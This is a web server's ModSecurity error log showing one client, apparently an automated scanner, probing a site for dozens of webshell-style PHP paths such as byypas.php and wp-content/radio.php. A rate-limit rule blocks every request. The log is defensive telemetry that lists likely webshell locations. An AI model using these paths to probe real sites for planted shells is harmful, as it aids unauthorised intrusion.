[Sun Mar 29 23:23:11.090944 2026] [:error] [pid 32255:tid 32297] [client 68.155.145.150:12095] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aclD32nfn-AtRoMbquwWYwAAAEY"]
[Sun Mar 29 23:23:11.518745 2026] [:error] [pid 23284:tid 23310] [client 68.155.145.150:12261] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/a5e0a.php"] [unique_id "aclD34zBujdPHsq7wyTkdgAAApg"]
[Sun Mar 29 23:23:12.046288 2026] [:error] [pid 32255:tid 32304] [client 68.155.145.150:12144] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "aclD4Gnfn-AtRoMbquwWZgAAAE0"]
[Sun Mar 29 23:23:12.433018 2026] [:error] [pid 23167:tid 23179] [client 68.155.145.150:12146] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "aclD4BIAHJCFaHff3_fXAQAAAck"]
[Sun Mar 29 23:23:12.908317 2026] [:error] [pid 23167:tid 23194] [client 68.155.145.150:12063] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "aclD4BIAHJCFaHff3_fXBAAAAdg"]
[Sun Mar 29 23:23:13.335035 2026] [:error] [pid 23167:tid 23182] [client 68.155.145.150:12139] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/term.php"] [unique_id "aclD4RIAHJCFaHff3_fXBgAAAcw"]
[Sun Mar 29 23:23:13.742207 2026] [:error] [pid 32257:tid 32342] [client 68.155.145.150:12142] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aclD4SE3TArOFrUtgWpobgAAAJg"]
[Sun Mar 29 23:23:14.210152 2026] [:error] [pid 23284:tid 23290] [client 68.155.145.150:12108] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aclD4ozBujdPHsq7wyTkegAAAoQ"]
[Sun Mar 29 23:23:14.634134 2026] [:error] [pid 32255:tid 32314] [client 68.155.145.150:11981] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aclD4mnfn-AtRoMbquwWcgAAAFc"]
[Sun Mar 29 23:23:15.023198 2026] [:error] [pid 32255:tid 32304] [client 68.155.145.150:12060] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/edit.php"] [unique_id "aclD42nfn-AtRoMbquwWdQAAAE0"]
[Sun Mar 29 23:23:15.445343 2026] [:error] [pid 23250:tid 23253] [client 68.155.145.150:12150] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "aclD45xrpj-dQjy1cvoVTwAAAkE"]
[Sun Mar 29 23:23:15.866411 2026] [:error] [pid 32255:tid 32309] [client 68.155.145.150:12194] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "aclD42nfn-AtRoMbquwWewAAAFI"]
[Sun Mar 29 23:23:16.362370 2026] [:error] [pid 23250:tid 23266] [client 68.155.145.150:12107] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "aclD5Jxrpj-dQjy1cvoVUQAAAk4"]
[Sun Mar 29 23:23:16.782716 2026] [:error] [pid 32255:tid 32299] [client 68.155.145.150:12066] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/55b76.php"] [unique_id "aclD5Gnfn-AtRoMbquwWfQAAAEg"]
[Sun Mar 29 23:23:17.209394 2026] [:error] [pid 32255:tid 32291] [client 68.155.145.150:12145] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "aclD5Wnfn-AtRoMbquwWgAAAAEA"]
[Sun Mar 29 23:23:17.668423 2026] [:error] [pid 32255:tid 32300] [client 68.155.145.150:12245] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "aclD5Wnfn-AtRoMbquwWhAAAAEk"]
[Sun Mar 29 23:23:18.137682 2026] [:error] [pid 8818:tid 8842] [client 68.155.145.150:12034] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "aclD5iCDvotZNSF0FBrzmwAAAVQ"]
[Sun Mar 29 23:23:18.606517 2026] [:error] [pid 23250:tid 23260] [client 68.155.145.150:12049] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/asd.php"] [unique_id "aclD5pxrpj-dQjy1cvoVVQAAAkg"]
[Sun Mar 29 23:23:19.262307 2026] [:error] [pid 32254:tid 32271] [client 68.155.145.150:11971] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "aclD56ug2IHuyGgCTn9l3gAAAAc"]
[Sun Mar 29 23:23:19.813331 2026] [:error] [pid 23137:tid 23152] [client 68.155.145.150:12072] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "aclD5xaWQa7LdZ_qGFYJtwAAAY0"]
[Sun Mar 29 23:23:20.298466 2026] [:error] [pid 32255:tid 32305] [client 68.155.145.150:11997] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "aclD6Gnfn-AtRoMbquwWlgAAAE4"]
[Sun Mar 29 23:23:20.752444 2026] [:error] [pid 23168:tid 23210] [client 68.155.145.150:12093] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp9.php"] [unique_id "aclD6GP8p0yRL8ot_2-7oQAAAg0"]
[Sun Mar 29 23:23:21.219894 2026] [:error] [pid 23168:tid 23213] [client 68.155.145.150:12188] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "aclD6WP8p0yRL8ot_2-7owAAAhA"]
[Sun Mar 29 23:23:21.675639 2026] [:error] [pid 23250:tid 23261] [client 68.155.145.150:11977] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "aclD6Zxrpj-dQjy1cvoVWgAAAkk"]
[Sun Mar 29 23:23:22.191708 2026] [:error] [pid 32255:tid 32308] [client 68.155.145.150:11985] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "aclD6mnfn-AtRoMbquwWoAAAAFE"]
[Sun Mar 29 23:23:22.648507 2026] [:error] [pid 32257:tid 32326] [client 68.155.145.150:12026] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/8.php"] [unique_id "aclD6iE3TArOFrUtgWpoegAAAIg"]
[Sun Mar 29 23:23:23.117488 2026] [:error] [pid 32257:tid 32320] [client 68.155.145.150:11994] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "aclD6yE3TArOFrUtgWpofAAAAII"]
[Sun Mar 29 23:23:23.594660 2026] [:error] [pid 23167:tid 23176] [client 68.155.145.150:12202] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "aclD6xIAHJCFaHff3_fXDgAAAcY"]
[Sun Mar 29 23:23:24.045099 2026] [:error] [pid 32255:tid 32307] [client 68.155.145.150:12038] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "aclD7Gnfn-AtRoMbquwWogAAAFA"]
[Sun Mar 29 23:23:24.476715 2026] [:error] [pid 23284:tid 23301] [client 68.155.145.150:12080] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byypas.php"] [unique_id "aclD7IzBujdPHsq7wyTkhQAAAo8"]
[Sun Mar 29 23:23:24.922923 2026] [:error] [pid 32255:tid 32312] [client 68.155.145.150:12042] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "aclD7Gnfn-AtRoMbquwWpAAAAFU"]
[Sun Mar 29 23:23:25.525009 2026] [:error] [pid 32257:tid 32339] [client 68.155.145.150:12070] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "aclD7SE3TArOFrUtgWpogQAAAJU"]
[Sun Mar 29 23:23:25.976494 2026] [:error] [pid 32257:tid 32336] [client 68.155.145.150:11983] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "aclD7SE3TArOFrUtgWpogwAAAJI"]
[Sun Mar 29 23:23:26.432075 2026] [:error] [pid 8818:tid 8834] [client 68.155.145.150:11975] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/drhunthq.php"] [unique_id "aclD7iCDvotZNSF0FBrzpAAAAUw"]
[Sun Mar 29 23:23:26.867842 2026] [:error] [pid 23284:tid 23288] [client 68.155.145.150:12071] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/file.php"] [unique_id "aclD7ozBujdPHsq7wyTkhwAAAoI"]
[Sun Mar 29 23:23:27.267386 2026] [:error] [pid 23284:tid 23297] [client 68.155.145.150:11969] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/file.php"] [unique_id "aclD74zBujdPHsq7wyTkigAAAos"]
[Sun Mar 29 23:23:27.658049 2026] [:error] [pid 32257:tid 32329] [client 68.155.145.150:11979] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/public/file.php"] [unique_id "aclD7yE3TArOFrUtgWpohQAAAIs"]
[Sun Mar 29 23:24:35.439402 2026] [:error] [pid 23137:tid 23144] [client 68.155.145.150:12282] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clss.php"] [unique_id "aclEMxaWQa7LdZ_qGFYJ6QAAAYU"]
[Sun Mar 29 23:24:36.254221 2026] [:error] [pid 32257:tid 32319] [client 68.155.145.150:12286] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clss.php"] [unique_id "aclENCE3TArOFrUtgWppSwAAAIE"]
[Sun Mar 29 23:24:37.083810 2026] [:error] [pid 23250:tid 23274] [client 68.155.145.150:12259] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clss.php"] [unique_id "aclENZxrpj-dQjy1cvoVtQAAAlY"]
[Sun Mar 29 23:24:37.910382 2026] [:error] [pid 23250:tid 23257] [client 68.155.145.150:12261] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/clss.php"] [unique_id "aclENZxrpj-dQjy1cvoVuAAAAkU"]
[Sun Mar 29 23:24:38.102113 2026] [:error] [pid 23168:tid 23200] [client 68.155.145.150:12003] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aclENmP8p0yRL8ot_2-8BQAAAgM"]
[Sun Mar 29 23:24:38.519451 2026] [:error] [pid 23137:tid 23153] [client 68.155.145.150:12146] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aclENhaWQa7LdZ_qGFYJ6gAAAY4"]
[Sun Mar 29 23:24:38.919476 2026] [:error] [pid 8818:tid 8828] [client 68.155.145.150:12172] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aclENiCDvotZNSF0FBrz-gAAAUY"]
[Sun Mar 29 23:24:39.360703 2026] [:error] [pid 8818:tid 8835] [client 68.155.145.150:12114] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-content/radio.php"] [unique_id "aclENyCDvotZNSF0FBrz_gAAAU0"]
[Sun Mar 29 23:24:39.772135 2026] [:error] [pid 23284:tid 23287] [client 68.155.145.150:12119] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aclEN4zBujdPHsq7wyTlZwAAAoE"]
[Sun Mar 29 23:24:40.206619 2026] [:error] [pid 8818:tid 8840] [client 68.155.145.150:12254] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aclEOCCDvotZNSF0FBr0AAAAAVI"]
[Sun Mar 29 23:24:40.625435 2026] [:error] [pid 23284:tid 23300] [client 68.155.145.150:12090] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aclEOIzBujdPHsq7wyTlagAAAo4"]
[Sun Mar 29 23:24:41.039928 2026] [:error] [pid 23284:tid 23296] [client 68.155.145.150:12062] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-blog.php"] [unique_id "aclEOYzBujdPHsq7wyTlawAAAoo"]
[Sun Mar 29 23:24:41.439756 2026] [:error] [pid 23284:tid 23299] [client 68.155.145.150:12046] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/init.php"] [unique_id "aclEOYzBujdPHsq7wyTlbwAAAo0"]
[Sun Mar 29 23:24:41.850710 2026] [:error] [pid 23168:tid 23214] [client 68.155.145.150:12140] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/init.php"] [unique_id "aclEOWP8p0yRL8ot_2-8BwAAAhE"]
[Sun Mar 29 23:24:42.247756 2026] [:error] [pid 23284:tid 23289] [client 68.155.145.150:12091] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/init.php"] [unique_id "aclEOozBujdPHsq7wyTldQAAAoM"]
[Sun Mar 29 23:24:42.702763 2026] [:error] [pid 8818:tid 8839] [client 68.155.145.150:12001] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/init.php"] [unique_id "aclEOiCDvotZNSF0FBr0BAAAAVE"]
[Sun Mar 29 23:24:43.116839 2026] [:error] [pid 23250:tid 23270] [client 68.155.145.150:12067] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aclEO5xrpj-dQjy1cvoVvwAAAlI"]
[Sun Mar 29 23:24:43.518544 2026] [:error] [pid 8818:tid 8845] [client 68.155.145.150:12217] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aclEOyCDvotZNSF0FBr0BwAAAVc"]
[Sun Mar 29 23:24:43.917988 2026] [:error] [pid 8818:tid 8835] [client 68.155.145.150:12191] [client 68.155.145.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wtiiy.php"] [unique_id "aclEOyCDvotZNSF0FBr0CQAAAU0"]
